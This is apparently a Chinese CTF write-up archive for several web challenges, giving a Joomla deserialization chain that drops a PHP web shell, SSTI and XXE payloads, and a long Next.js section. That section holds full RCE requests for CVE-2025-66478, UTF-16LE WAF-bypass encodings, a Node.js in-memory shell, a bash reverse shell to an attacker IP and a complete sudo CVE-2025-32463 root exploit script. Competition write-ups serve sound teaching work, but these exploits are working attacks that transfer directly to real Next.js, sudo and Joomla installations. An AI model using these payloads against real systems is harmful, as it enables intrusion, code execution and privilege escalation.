wp源地址
飞书链接 https://my.feishu.cn/wiki/IKuswoKxMicfzekbjklcxNLMn2b
CTF+存档
Web
Joomla Revenge!
预期解是考察自己挖掘链子, 但是网上有phpmailer地链子打法没有ban掉, 这里贴一下我自己的预期链子:
<?php
namespace Joomla\CMS\Layout;
interface LayoutInterface
{}
namespace Joomla\CMS\Layout;
class BaseLayout implements LayoutInterface
{}
namespace Psr\Http\Message;
interface StreamInterface
{}
namespace Joomla\Filesystem;
class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = [];
}
}
namespace Laminas\Diactoros;
use Psr\Http\Message\StreamInterface;
use Stringable;
use Joomla\Filesystem\Patcher;
class CallbackStream implements StreamInterface, Stringable
{
public function __toString(): string
{
return "";
}
public function __construct() {
$this->callback = [new Patcher(), "apply"];
}
}
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;
class Stream
{
public function __construct() {
$this->fh = 1;
$this->processingmethod = new CallbackStream();
}
}
namespace Joomla\Filesystem;
$obj = new Stream();
echo base64_encode(serialize($obj));Intrasight
一个整体难度不算高的"SSRF + WebSocket + SSTI"的fuzz题目,没有做什么过滤,
一个可用的fuzz字典或者说理解技术栈后通过openapi.json来跳过fuzz过程均可
You can only see what you are allowed to preview. But what if the preview tool sees more than it should?
题目提示以及前端页面src内交代有多个服务,鼓励扫描
用/fetch端点fuzz,可以发现8001端口admin_panel以及9000端口ws_render的服务()
其中8001端口内有/status;/redirect_ws端点,交代了/api/debug/config端点,访问可以获得9000的ws服务(没有ws特性的考察)
访问发现需要传递token,继续通过之前获得的/redirect_ws来获得token进一步连接,连接后提示需要Origin以及X-Internal-Token(SSRF)
POST /fetch?url=ws://127.0.0.1:9000/ws?token=token
Headers:
Origin: http://127.0.0.1
X-Internal-Token: token访问成功后如下,可以传参,通过SSTI获得flag
{
"service": "IntraSight Template Preview",
"version": "1.0",
"protocol": {
"action": "render",
"template": "",
"context": {"optional": ""}
}
}这里只举一个简单例子,因为没有配置过滤策略,在template处传payload即可
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}"GlyphWeaver
开启题目是一个名片生成工具,提供“预览”和“导出”两条渲染链路。
尝试模板表达式 {{7*7}} 被拦截,说明存在模板语法防护
并且查看页面的源码,其中显示jinja2,题型高度可能是 SSTI。
页面上方提示 CJK-friendly,也就是中日韩文友好。在实际场景里,这通常意味着对Unicode兼容字符做规范化处理(NFKC),例如全角括号会折叠为半角 {}。
这提示我们输入在渲染前会被改写,而经过测试, WAF 只扫描原始输入,不做 NFKC,因此waf存在对unicode编码后内容检测的失配
使用全角花括号:{{7*7}}。输出里被折叠成了 ASCII {},说明确实发生了 NFKC 规范化:
但是我们发现此时 payload 仍未执行,说明预览仅有一次渲染,需要寻找二次渲染触发点。
下滑发现导出功能,可生成 taskId 并导出结果:
导出链路执行stage1 -> stage2:
stage1 将输入渲染进卡片模板,此时
{{...}}仍是普通字符串stage2 再把 stage1 结果作为模板渲染,
{{...}}被真正执行
该功能能够将用户的输入生成对应taskid,根据taskid来导出所需的名片
使用中文符号绕过waf。最终payload:
{{cycler.__init__.__globals__.__builtins__.open('/flag').read()}}
导出任务完成后下载 HTML,查看文件即可见 flag:
非预期:把Payload放入列表中,由于题目在设计的时候,只检测了字符串类型的值,没有限定输入类型,也没有递归的检查所有的值,因此导致了此方法可以绕过(感谢来自POFP队伍的师傅的解法)
SecureDoc
CVE-2025-66516
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template>
<subform>
<field name="exploit">
<value>
<text>FLAG_CONTENT_BELOW:
&xxe;
FLAG_CONTENT_ABOVE</text>
</value>
</field>
</subform>
</template>
</xdp:xdp>mio's waf
题目全部源码已公开
https://github.com/mio-qwq/Mio-s-WAF
这是一道有关于漏洞利用以及WAF绕过的题目
1.漏洞利用
本次要使用两个2025年新出的cve漏洞来进行,RCE,提权,等的常规操作
CVE-2025-66478
这是2025年12月公开的next.js以及react的一个CVSS 评分满分(10.0分)的极高危漏洞
可以直接构造payload对被攻击服务器进行任意JavaScript代码执行,
CVE-2025-32463
这是linux的常用软件sudo的本地高危本地提权漏洞 CVSS 评分 9.3
一直到2025年6月才发布补丁,受影响版本的sudo仅需要该普通用户可以使用sudo的-R选项
就可以无密码无验证直接提权到root
2.WAF绕过
首先进入容器是一个很简单的JavaScript质询
很简单,只是对下发的两个质数的乘积做质因数分解,从而得到原来的那两个质数,
并写入cookie,作为本次得到的token对.每对token仅允许两次请求,
同时这里对/_next/static/chunks/的静态页面是做特殊处理了,
静态页面不计入请求数,不然页面会显示错误.然后为了防止外带和其他的,
WAF启动时将静态资源缓存到内存,当发现请求的资源在缓存时,不将请求转发到后端
直接从内存返回内容,如果请求的内容不在缓存,即使符合静态资源格式也会直接返回403
过了质询以后,进入题目,
题目是一个由next.js驱动的的页面,这个版本的next.js存在CVE-2025-66478漏洞,可以被特定的post请求造成RCE
常见payload如下
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString('utf8').trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--但是本次的WAF对POST请求有及其严格的黑名单
BLACKLIST_KEYWORDS = [
b"Next-Action",
b"_response",
b"_prefix",
b"_chunks",
b"_formData",
b"resolved_model", # 解析模型状态
b"$1:__proto__:then", # 原型链污染特征
b"$1:constructor", # 构造函数特征
b"__proto__", # 原型链
b"prototype", # 原型
b"constructor", # 构造器
b"child_process", # 子进程模块
b"execSync", # 同步命令执行
b"spawn", # 进程生成
b"exec", # 命令执行
b"eval", # 代码执行
b"process.mainModule", # 进程主模块
b"process.env", # 环境变量
b"process.exit", # 进程退出
b"process.kill", # 进程终止
b"process.binding", # 进程绑定
b"process.cwd", # 当前工作目录
b"process.cpuUsage", # CPU 使用率
b"process.memoryUsage", # 内存使用率
b"process.nextTick", # 下一刻度
b"process.stdout", # 标准输出
b"process.stderr", # 标准错误
b"process.stdin", # 标准输入
b"process.argv", # 参数
b"process.execPath", # 执行路径
b"import(", # 动态导入
b"require(", # 模块引入
b"globalThis", # 全局对象
b"global.", # 全局对象访问
b"root.", # Root 对象
b"Function(", # Function 构造
b"Reflect", # Reflect API
b"Proxy", # Proxy API
b"Symbol", # Symbol API
b"Promise", # Promise API
b"Object.assign", # 对象分配
b"Object.create", # 对象创建
b"Object.defineProperty", # 属性定义
b"Object.entries", # 对象条目
b"Object.keys", # 对象键
b"Object.values", # 对象值
b"String.fromCharCode", # 字符串构造
b"String.fromCodePoint", # 码点构造
b"Buffer.from", # Buffer 构造
b"Buffer.alloc", # Buffer 分配
b"Buffer.concat", # Buffer 连接
b"node:http", b"node:https",
b"node:fs", b"node:path",
b"node:os", b"node:net",
b"node:child_process",
b"node:url", b"node:util",
b"node:buffer", b"node:events",
b"node:stream", b"node:crypto",
b"node:cluster", b"node:console",
b"node:dgram", b"node:dns",
b"node:domain", b"node:module",
b"node:perf_hooks", b"node:process",
b"node:querystring", b"node:readline",
b"node:repl", b"node:string_decoder",
b"node:sys", b"node:timers",
b"node:tls", b"node:tty",
b"node:v8", b"node:vm",
b"node:wasi", b"node:worker_threads",
b"node:zlib",
b"Server.prototype.emit", # HTTP Server 原型链篡改
b"res.end", b"res.write", # 响应控制
b"req.url", b"req.method", # 请求控制
b"req.headers", # 请求头
b"req.body", # 请求体
b"res.writeHead", # 响应头写入
b"res.setHeader", # 设置响应头
b"/bin/sh", b"/bin/bash", b"/bin/dash", b"/bin/zsh", b"/bin/csh", b"/bin/ksh",
b"/usr/bin/sh", b"/usr/bin/bash",
b"cmd.exe", b"powershell", b"pwsh",
b"wget", b"curl", b"lynx",
b"nc ", b"netcat", b"ncat", b"socat",
b"whoami", b"id ", b"uname", b"hostname",
b"cat ", b"less ", b"more ", b"head ", b"tail ", b"nl ", b"tac ",
b"ls ", b"dir ", b"vdir",
b"pwd",
b"cp ", b"mv ", b"rm ", b"rmdir",
b"chmod", b"chown", b"chgrp",
b"touch", b"mkdir",
b"grep", b"awk", b"sed", b"cut", b"paste",
b"find", b"locate", b"whereis", b"which",
b"sudo", b"su ", b"doas",
b"apt-get", b"yum", b"apk", b"dpkg", b"rpm",
b"ssh ", b"scp ", b"sftp",
b"ping ", b"telnet", b"ftp",
b"python", b"perl", b"ruby", b"gcc", b"g++", b"make", b"cmake",
b"php", b"java", b"go ", b"rustc",
b"tar ", b"zip ", b"unzip", b"gzip", b"gunzip", b"bzip2",
b"base64", b"xxd", b"od ",
b"/dev/tcp", b"/dev/udp",
b"bash -i", b"sh -i",
b"0>&1",
b"1>&2",
b"2>&1",
b"/dev/null",
b"| bash", b"| sh",
b"/etc/passwd", b"/etc/shadow", b"/etc/hosts", b"/etc/issue",
b"/flag", b"flag.txt",
b"/root", b"/var/log", b"/var/www",
b"/proc/self", b"/proc/version", b"/proc/cpuinfo",
b".ssh/id_rsa", b".ssh/authorized_keys",
b".bash_history", b".bashrc", b".profile",
]几乎不可能绕过这个黑名单,
但是,这道题不是通过关键词规避来绕过的,应该使用 编码绕过
WAF的逻辑是,把POST请求体先Unicode解码一次,再进行黑名单检查
然后,如果通过检查,就把解码后的内容发给next.js应用
因为react的flight协议支持POST请求体的json的Unicode解码
这里可以双重编码绕过.
例如,我要发送
{"cmd": "cat /flag"}在flight协议看来
{"cmd": "cat /flag"}和
{"\u0063\u006d\u0064": "\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067"} 是完全等价的
但是我们如果发送
{"\u0063\u006d\u0064": "\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067"} 还是无法绕过WAF,因为WAF会对我们发送的内容Unicode解码后检验,WAF还是可以检测到我们想发送的
解码后的值
但是,WAF有一个最大的缺陷:它会把Unicode解码后且通过黑名单检测的请求发送给next.js应用
换言之就是如果我把
{"\u0063\u006d\u0064": "\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067"} 再完整Unicode编码一次,编码成
\u007b\u0022\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0034\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u0022\u007d\u0020
这样WAF走原来流程,把收到的请求先Unicode解码一次,得到
{"\u0063\u006d\u0064": "\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067"} 然后进行黑名单比对,发现解码后的内容未出现黑名单中字符串,
然后将解码后内容发送给next.js应用,next.js应用将会收到
{"\u0063\u006d\u0064": "\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067"} 等价于
{"cmd": "cat /flag"}这样,就完成了一次对WAF的绕过.
同时,WAF仅仅会检查POST请求体Unicode解码一次后的结果
这个时候要是可以有一种不是Unicode编码,同时又可以被后端正确解码的编码
就可以直接绕过WAF
同时,React并不负责解码http请求,Next.js才负责解码.
Next.js支持的编码主要依赖于Node.js中的一个内置类Buffer
https://nodejs.org/api/buffer.html#buffers-and-character-encodings
支持 utf8, utf16le , latin1, base64, hex, ascii.
还有Web Standard TextDecoder
https://developer.mozilla.org/en-US/docs/Web/API/Encoding_API/Encodings
所以,只要是非Unicode编码的常规编码绕过都是可行的 (这也是比赛时没有给WAF全部源码的原因)
这里演示UTF-16LE编码的绕过
构造payload
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString('utf8').trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--注意把我们payload的第0字段的字段头部下面加上
Content-Type: text/plain; charset=utf16le然后复制payload的post表单部分的第0字段内容并转码
最终payload,(使用了yakit的Fuzztag {{hexd()}} )
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le
{{hexd(7B000A002000200022007400680065006E0022003A0020002200240031003A005F005F00700072006F0074006F005F005F003A007400680065006E0022002C000A0020002000220073007400610074007500730022003A00200022007200650073006F006C007600650064005F006D006F00640065006C0022002C000A0020002000220072006500610073006F006E0022003A0020002D0031002C000A00200020002200760061006C007500650022003A00200022007B005C0022007400680065006E005C0022003A005C0022002400420031005C0022007D0022002C000A002000200022005F0072006500730070006F006E007300650022003A0020007B000A00200020002000200022005F0070007200650066006900780022003A002000220076006100720020007200650073003D00700072006F0063006500730073002E006D00610069006E004D006F00640075006C0065002E007200650071007500690072006500280027006300680069006C0064005F00700072006F006300650073007300270029002E006500780065006300530079006E0063002800270069006400270029002E0074006F0053007400720069006E006700280027007500740066003800270029002E007400720069006D00280029003B003B007400680072006F00770020004F0062006A006500630074002E00610073007300690067006E0028006E006500770020004500720072006F007200280027004E004500580054005F0052004500440049005200450043005400270029002C007B006400690067006500730074003A00200060004E004500580054005F00520045004400490052004500430054003B0070007500730068003B002F006C006F00670069006E003F0061003D0024007B007200650073007D003B003300300037003B0060007D0029003B0022002C000A00200020002000200022005F006300680075006E006B00730022003A002000220024005100320022002C000A00200020002000200022005F0066006F0072006D00440061007400610022003A0020007B000A00200020002000200020002000220067006500740022003A0020002200240031003A0063006F006E007300740072007500630074006F0072003A0063006F006E007300740072007500630074006F00720022000A0020002000200020007D000A00200020007D000A007D00)}}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--(发送给任意受CVE-2025-66478影响的Next.js应用,发现该payload可以被正确解析并运行)
(注: 该截图并非本题目!!!)
(注: 该截图并非本题目!!!)
仅为对无WAF的受CVE-2025-66478影响的Next.js应用的UTF-16LE编码解析的可行性示例
但是,WAF会截断对任何POST请求的响应,并返回403
(就不会有以上截图的那种回显了)
即使RCE了,也不会有回显,但是如果next.js应用返回的状态码是500的话WAF会仅转发这个500状态码
这里就是原预期,选手进行布尔盲注来获取flag的内容
但是还有一种解法,就是打内存马,这里疏忽了,因为对其他路由进行了路由锁定,禁止访问除根目录及缓存的静态资源
以外的其他任何路由(请求都不会转发的WAF会直接截断)但是WAF对GET根目录返回的响应没有做检查,
就导致可以用内存马劫持根目录来回显flag,并且,即使WAF对请求进行了严格的流量清洗
甚至对转发的http请求头都做了限制
allowed_headers = [
'Host',
'User-Agent',
'Accept',
'Accept-Language',
'Accept-Encoding',
'Connection',
'Cookie',
'Upgrade-Insecure-Requests',
'Cache-Control',
'X-HTTP-Method-Override',
'X-Forwarded-For',
'Content-Type',
'Content-Length',
'Next-Action',
'Next-Router-State-Tree',
'Next-Url',
'X-Nextjs-Request-Id',
'X-Nextjs-Html-Request-Id'
]但是我们仍然可以在以上允许的头(比如useragent)里面塞命令,
制造一个劫持根目录作为回显,并且接受useragent参数做为命令执行的内存马
例如
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1\"}",
"_response": {
"_prefix": "(async()=>{const h=await import('node:http'),c=await import('node:child_process');const o=h.Server.prototype.emit;h.Server.prototype.emit=async function(e,...a){if(e==='request'){const[r,s]=a;if(r.url==='/'||r.url.startsWith('/?')){try{const cmd=r.headers['user-agent']||'id';const out=c.execSync(cmd,{encoding:'utf8',timeout:5000});s.writeHead(200,{'Content-Type':'text/plain','X-MemShell':'active'});s.end(out);}catch(x){s.writeHead(500);s.end(x.message);}return true;}}return o.apply(this,arguments);};})();",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--并给出UTF-16LE编码绕过后可行的payload
POST / HTTP/1.1
Host: nc1.ctfplus.cn:25656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Cookie: waf_num_token1=10093; waf_num_token2=10453
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le
{{hexd(7B000A002000200022007400680065006E0022003A0020002200240031003A005F005F00700072006F0074006F005F005F003A007400680065006E0022002C000A0020002000220073007400610074007500730022003A00200022007200650073006F006C007600650064005F006D006F00640065006C0022002C000A0020002000220072006500610073006F006E0022003A0020002D0031002C000A00200020002200760061006C007500650022003A00200022007B005C0022007400680065006E005C0022003A005C0022002400420031005C0022007D0022002C000A002000200022005F0072006500730070006F006E007300650022003A0020007B000A00200020002000200022005F0070007200650066006900780022003A002000220028006100730079006E006300280029003D003E007B0063006F006E0073007400200068003D0061007700610069007400200069006D0070006F0072007400280027006E006F00640065003A006800740074007000270029002C0063003D0061007700610069007400200069006D0070006F0072007400280027006E006F00640065003A006300680069006C0064005F00700072006F006300650073007300270029003B0063006F006E007300740020006F003D0068002E005300650072007600650072002E00700072006F0074006F0074007900700065002E0065006D00690074003B0068002E005300650072007600650072002E00700072006F0074006F0074007900700065002E0065006D00690074003D006100730079006E0063002000660075006E006300740069006F006E00280065002C002E002E002E00610029007B0069006600280065003D003D003D0027007200650071007500650073007400270029007B0063006F006E00730074005B0072002C0073005D003D0061003B0069006600280072002E00750072006C003D003D003D0027002F0027007C007C0072002E00750072006C002E007300740061007200740073005700690074006800280027002F003F002700290029007B007400720079007B0063006F006E0073007400200063006D0064003D0072002E0068006500610064006500720073005B00270075007300650072002D006100670065006E00740027005D007C007C0027006900640027003B0063006F006E007300740020006F00750074003D0063002E006500780065006300530079006E006300280063006D0064002C007B0065006E0063006F00640069006E0067003A002700750074006600380027002C00740069006D0065006F00750074003A0035003000300030007D0029003B0073002E0077007200690074006500480065006100640028003200300030002C007B00270043006F006E00740065006E0074002D00540079007000650027003A00270074006500780074002F0070006C00610069006E0027002C00270058002D004D0065006D005300680065006C006C0027003A00270061006300740069007600650027007D0029003B0073002E0065006E00640028006F007500740029003B007D00630061007400630068002800780029007B0073002E00770072006900740065004800650061006400280035003000300029003B0073002E0065006E006400280078002E006D0065007300730061006700650029003B007D00720065007400750072006E00200074007200750065003B007D007D00720065007400750072006E0020006F002E006100700070006C007900280074006800690073002C0061007200670075006D0065006E007400730029003B007D003B007D002900280029003B0022002C000A00200020002000200022005F006300680075006E006B00730022003A002000220024005100320022002C000A00200020002000200022005F0066006F0072006D00440061007400610022003A0020007B000A00200020002000200020002000220067006500740022003A0020002200240031003A0063006F006E007300740072007500630074006F0072003A0063006F006E007300740072007500630074006F00720022000A0020002000200020007D000A00200020007D000A007D00)}}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--(记得过JavaScript质询)
效果如下
然后因为平台限制,没法以额外参数启动容器,原来还打算切断容器内除80端口以外的任何出入站连接,以及设置
WAF守护进程,防止WAF被kill,一旦WAF被kill就切断整个容器的全部网络连接.
但是这些没有设置,就又多了几类解,
第一种,(虽然出网工具被移除了)但是可以构造特殊payload使next.js应用
对容器外服务器制造请求,可以指定请求内容中带flag内容(制造回显了就)
第二种,反弹shell,(也是比较推荐的解法)
我们先在攻击机执行
nc -lvvp 11111然后,记住攻击机的公网IP 在被攻击机上执行
bash -i >& /dev/tcp/<攻击机的公网IP>/11111 0>&1 这样就可以反弹shell
我们再结合这道题目,
构造payload
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Content-Length: 565
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/<攻击机的公网IP>/11111 0>&1 ').toString('utf8').trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--(注意替换攻击机的公网ip)
然后再按照前面任意方法来编码绕过来连上靶机.
第三种,自行执行代码来出网并发起请求
因为题目的gcc和python都还在的,所以理论上可以手搓...
3.提权
本次题目的flag在/flag文件里面,且仅root可读
就需要使用CVE-2025-32463来提权来读取flag
CVE-2025-32463的常见payload如下
#!/bin/bash
# CVE-2025-32463 Sudo 提权漏洞利用
# 作者: mio
# 描述: 利用 Sudo 根目录切换(chroot)处理中的漏洞加载任意共享库,
# 获取 root 权限读取 flag。
# 1. 设置临时工作目录
# 在 /tmp 中创建一个随机目录,以保持文件系统整洁并避免冲突。
STAGE=$(mktemp -d /tmp/mio_exploit.XXXXXX)
# 进入暂存目录。如果失败,立即退出。
cd "${STAGE?}" || exit 1
# 2. 创建恶意 C 源代码
# 这段代码定义了一个构造函数,当库被加载时会自动运行。
# 它将用户 ID 设置为 0 (root) 并执行命令读取 flag。
cat > mio.c<<EOF
#include <stdlib.h>
#include <unistd.h>
// constructor 属性确保此函数在库被动态链接器加载后立即运行,
// 在主程序继续执行之前。
__attribute__((constructor)) void mio_init(void) {
// 提升权限至 root (UID 0)
setreuid(0,0);
setregid(0,0);
// 切换目录到根目录,确保我们可以相对于真实根路径找到 /flag
chdir("/");
// 执行有效载荷:读取 /flag 并进行 base64 编码(不换行)
// 我们使用 /bin/sh 来处理管道符 (|)。
execl("/bin/sh", "sh", "-c", "cat /flag | base64 -w0", NULL);
}
EOF
# 3. 为 chroot 攻击准备目录结构
# 'mio_root/etc' 将存放我们的恶意配置。
# 'libnss_' 将存放我们的恶意库。下划线也是目录名的一部分,
# sudo 在解析库路径时会用到它。
mkdir -p mio_root/etc libnss_
# 4. 创建恶意 nsswitch.conf
# 该文件告诉系统如何解析用户信息 (passwd)。
# 通过设置 'passwd: /mio',我们欺骗 glibc 加载 'libnss_/mio.so.2'。
# 路径 '/mio' 是相对于 chroot 的,但由于该漏洞,
# 库加载是在完整的路径上下文中进行的。
echo "passwd: /mio" > mio_root/etc/nsswitch.conf
# 复制系统 group 文件以满足基本的系统查找需求(可选,但推荐用于保持稳定性)
cp /etc/group mio_root/etc
# 5. 编译恶意共享库
# -shared: 创建共享库。
# -fPIC: 生成位置无关代码。
# -Wl,-init,mio_init: 明确告诉链接器在加载时运行 'mio_init'。
# -o libnss_/mio.so.2: 输出文件名必须与 glibc 基于 nsswitch.conf 预期的名称匹配。
# 我们将标准输出和标准错误重定向到 /dev/null 以保持输出整洁。
gcc -shared -fPIC -Wl,-init,mio_init -o libnss_/mio.so.2 mio.c >/dev/null 2>&1
# 6. 触发漏洞
# 我们使用 '-R' (chroot) 选项运行 'sudo',指向我们的 'mio_root' 目录。
# Sudo 会在降权*之前*读取我们的恶意 nsswitch.conf 并加载我们的库。
# 'ls' 命令只是一个占位符;我们的库会在 'ls' 运行之前接管执行。
# 我们将标准错误重定向到 /dev/null,因此只有 base64 编码的 flag 会出现在标准输出中。
sudo -R mio_root ls 2>/dev/null
# 7. 清理
# 删除临时目录和所有创建的文件。
rm -rf "${STAGE?}"
# 正常退出
exit 0编译的恶意共享库的 execl();的内容是可以自定义的,例如我们写成
execl("/bin/bash", "/bin/bash", NULL);就可以直接产生一个交互式的root shell
这里,如果是通过反弹shell来做的,可以直接使用root shell来 cat /flag了
或者如果已经通过内存马获取了shell就可以直接执行本章期望靶机运行的命令然后直接读取flag了.
我们可以把代码换成
execl("/bin/sh", "sh", "-c", "cat /flag > /tmp/flag ", NULL);这样就用root身份把/flag的内容写入到了/tmp/flag
这样node用户就可以读取了
需要执行的代码
STAGE=$(mktemp -d /tmp/mio_exploit.XXXXXX)
cd "${STAGE?}" || exit 1
cat > mio.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void mio_init(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "cat /flag > /tmp/flag ", NULL);
}
EOF
mkdir -p mio_root/etc libnss_
echo "passwd: /mio" > mio_root/etc/nsswitch.conf
gcc -shared -fPIC -Wl,-init,mio_init -o libnss_/mio.so.2 mio.c >/dev/null 2>&1
sudo -R mio_root ls 然后再将其base64处理一遍
U1RBR0U9JChta3RlbXAgLWQgL3RtcC9taW9fZXhwbG9pdC5YWFhYWFgpCmNkICIke1NUQUdFP30iIHx8IGV4aXQgMQpjYXQgPiBtaW8uYzw8RU9GCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgbWlvX2luaXQodm9pZCkgewogICAgc2V0cmV1aWQoMCwwKTsKICAgIHNldHJlZ2lkKDAsMCk7CiAgICBjaGRpcigiLyIpOwogICAgZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWMiLCAiY2F0IC9mbGFnID4gL3RtcC9mbGFnICIsIE5VTEwpOwp9CkVPRgpta2RpciAtcCBtaW9fcm9vdC9ldGMgbGlibnNzXwplY2hvICJwYXNzd2Q6IC9taW8iID4gbWlvX3Jvb3QvZXRjL25zc3dpdGNoLmNvbmYKZ2NjIC1zaGFyZWQgLWZQSUMgLVdsLC1pbml0LG1pb19pbml0IC1vIGxpYm5zc18vbWlvLnNvLjIgbWlvLmMgPi9kZXYvbnVsbCAyPiYxCnN1ZG8gLVIgbWlvX3Jvb3QgbHMg然后再写成
echo <目标命令的base64后的结果> | base64 -d | sh这种格式,防止出错
最终要使靶机执行
